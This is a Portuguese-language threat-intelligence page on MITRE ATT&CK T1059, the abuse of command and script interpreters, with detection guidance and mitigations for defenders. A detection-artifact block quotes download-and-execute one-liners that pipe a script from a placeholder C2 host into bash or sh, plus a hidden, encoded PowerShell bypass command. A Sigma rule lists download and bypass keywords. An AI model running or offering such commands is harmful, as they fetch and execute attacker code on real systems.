# T1059 - Interpretadores de Comandos e Scripts ## Descrição Interpretadores de comandos e scripts são componentes fundamentais de qualquer sistema operacional moderno. Eles existem para facilitar a automação, a administração de sistemas e a interação programática com o ambiente. Justamente por serem onipresentes, confiáveis e amplamente disponíveis, tornaram-se um dos vetores de execução mais explorados por adversários em todos os níveis de sofisticação. Na prática, o abuso dessas ferramentas é tão comum que compõe a base de quase toda cadeia de ataque moderna. Após obter acesso inicial - sejá via [[t1566-phishing|phishing]], exploração de vulnerabilidade ou credenciais comprometidas - o adversário quase invariavelmente recorre a um interpretador nativo para executar os próximos passos. No Windows, isso significa [[t1059-001-powershell|PowerShell]] ou [[t1059-003-windows-command-shell|cmd.exe]]; no Linux e macOS, [[sh]]; em ambientes de nuvem, [[t1059-009-cloud-api|Cloud APIs]] e CLIs. A amplitude de plataformas cobertas por essa técnica reflete sua relevância universal. O poder dessa abordagem está na legitimidade: quando `powershell.exe` executa um script, ele está fazendo exatamente o que foi projetado para fazer. Isso significa que filtros baseados em assinatura têm dificuldade em distinguir uso legítimo de abuso. Adversários refinados combinam interpretadores com ofuscação, execução em memória e download de payloads via protocolos web para maximizar a evasão. Grupos como [[g0046-fin7|FIN7]], [[g0050-apt32|APT32]] e [[g0035-dragonfly|Dragonfly]] têm [[t1059-001-powershell|PowerShell]] como pilar central de suas operações. **Contexto Brasil/LATAM:** O Brasil é um dos países com maior volume de ataques baseados em scripts maliciosos, especialmente campanhas de malware bancário que usam [[t1059-005-visual-basic|VBScript]] e [[t1059-007-javascript|JavaScript]] para baixar e executar trojans. Grupos como [[g0050-apt32|APT32]] (OceanLotus) realizam espionagem contra entidades governamentais e empresas de setores estratégicos na América Latina usando PowerShell como vetor principal. Além disso, grupos de ransomware que operam na região utilizam [[t1059-003-windows-command-shell|Windows Command Shell]] para execução de scripts de destruição de backups e criptografia em massa. ## Attack Flow ```mermaid graph TB A[T1566 Acesso Inicial] --> B[T1059 Execução de Script] B --> C[T1105 Download de Payload] C --> D[T1055 Injeção / Persistência] D --> E[Objetivo Final] ``` ## Como Funciona **1. Preparação** O adversário prepara o script ou conjunto de comandos, frequentemente ofuscado para evadir detecção. O vetor de entrega pode ser um documento Office com macro, um e-mail com link, uma vulnerabilidade de aplicação web ou credenciais obtidas previamente. **2. Execução** O interpretador nativo é acionado - diretamente pelo adversário via shell interativo ou automaticamente via payload de estágio anterior. O script executa no contexto do usuário ou processo comprometido, podendo elevar privilégios via técnicas adicionais. **3. Pós-execução** A partir do shell, o adversário estabelece persistência (via tarefas agendadas, registro, cronjobs), realiza reconhecimento interno, move lateralmente e prepara a exfiltração ou o impacto final. O interpretador permanece disponível para comandos subsequentes via canal C2. **Exemplo de artefato de detecção:** ```bash # Windows - PowerShell ScriptBlock Logging (Event ID 4104) # Indicador: execução de payload codificado em Base64 com download de stager # PowerShell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <base64> # Linux - bash_history / auditd # Indicador: download e execução de script em uma única linha # curl -fsSL http://C2/stage.sh | bash # wget -qO- http://C2/stage.sh | sh ``` ## Detecção **Fontes de dados:** Windows Event ID 4688 (process creation), PowerShell Script Block Logging (Event ID 4104), PowerShell Module Logging (Event ID 4103), Sysmon Event ID 1, auditd (Linux), EDR behavioral telemetry, análise de linha de comando. ```yaml title: Execução Suspeita de Interpretador de Comandos com Ofuscação id: c4e7d2f1-8b3a-4c6e-9d0f-3a5b7c8d9e1f status: experimental description: > Detecta execução de PowerShell ou cmd com argumentos típicos de ataques fileless: bypass de política de execução, comandos codificados em Base64, redirecionamento de saída para /dev/null ou nul, e invocação de download de payload remoto. logsource: category: process_creation product: windows detection: selection_powershell: Image|endswith: '\powershell.exe' CommandLine|contains: - '-EncodedCommand' - '-enc ' - 'Bypass' - 'DownloadString' - 'IEX' - 'Invoke-Expression' selection_cmd: Image|endswith: '\cmd.exe' CommandLine|contains: - 'certutil' - '/urlcache' - 'bitsadmin' - '/transfer' condition: selection_powershell or selection_cmd falsepositives: - Scripts de gerenciamento legítimos de TI (SCCM, scripts de deploy) - Ferramentas de automação de infraestrutura (Ansible, Salt) - Testes de segurança autorizados (red team) level: high tags: - attack.execution - attack.t1059 - attack.t1059.001 - attack.t1059.003 ``` ## Sub-técnicas - [[t1059-001-powershell|T1059.001 - PowerShell]] - [[t1059-002-applescript|T1059.002 - AppleScript]] - [[t1059-003-windows-command-shell|T1059.003 - Windows Command Shell]] - [[t1059-004-unix-shell|T1059.004 - Unix Shell]] - [[t1059-005-visual-basic|T1059.005 - Visual Basic]] - [[t1059-006-python|T1059.006 - Python]] - [[t1059-007-javascript|T1059.007 - JavaScript]] - [[t1059-008-network-device-cli|T1059.008 - Network Device CLI]] - [[t1059-009-cloud-api|T1059.009 - Cloud API]] - [[t1059-010-autohotkey-autoit|T1059.010 - AutoHotKey & AutoIT]] - [[t1059-011-lua|T1059.011 - Lua]] - [[t1059-012-hypervisor-cli|T1059.012 - Hypervisor CLI]] - [[API]] ## Mitigação | Mitigação | Recomendação Prática | |-----------|---------------------| | [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Usar AppLocker ou WDAC para bloquear execução de scripts não assinados e restringir uso de interpretadores a usuários e contextos autorizados. | | [[Antimalware]] | Garantir que soluções EDR com detecção comportamental estejam ativas e atualizadas, especialmente para detectar uso anômalo de PowerShell e bash. | | [[m1042-disable-or-remove-feature-or-program\|M1042 - Disable or Remove Feature or Program]] | Desabilitar interpretadores desnecessários em estações de trabalho (ex: desabilitar Windows Script Host via GPO em ambientes onde não é necessário). | | [[m1026-privileged-account-management\|M1026 - Privileged Account Management]] | Restringir execução de scripts com privilégios elevados. Exigir aprovação explícita para scripts administrativos em produção. | | [[m1040-behavior-prevention-on-endpoint\|M1040 - Behavior Prevention on Endpoint]] | Habilitar AMSI (Antimalware Scan Interface) para inspeção de scripts em tempo de execução no Windows. | | [[m1047-audit\|M1047 - Audit]] | Habilitar PowerShell Script Block Logging (Event ID 4104) e Module Logging (Event ID 4103) em todos os endpoints Windows para visibilidade de execução de scripts. | ## Threat Actors que Usam - [[g0117-fox-kitten|Fox Kitten]] - [[g0038-stealth-falcon|Stealth Falcon]] - [[g1035-winter-vivern|Winter Vivern]] - [[g0046-fin7|FIN7]] - [[g0037-fin6|FIN6]] - [[g0053-fin5|FIN5]] - [[g0073-apt19|APT19]] - [[g0050-apt32|APT32]] - [[g0035-dragonfly|Dragonfly]] - [[g1031-saint-bear|Saint Bear]] ## Software Associado - [[darkcomet|DarkComet]] (malware) - [[s1227-starproxy|StarProxy]] (malware) - [[chopstick|CHOPSTICK]] (malware) - [[s0695-donut|Donut]] (ferramenta) - [[s0618-fivehands|FIVEHANDS]] (malware) - [[s0167-matryoshka|Matryoshka]] (malware) - [[s0434-imminent-monitor|Imminent Monitor]] (ferramenta) - [[s0487-kessel|Kessel]] (malware) - [[s1151-zerocleare|ZeroCleare]] (malware) - [[gh0st-rat|gh0st RAT]] (malware) --- *Fonte: [MITRE ATT&CK - T1059](https://attack.mitre.org/techniques/T1059)*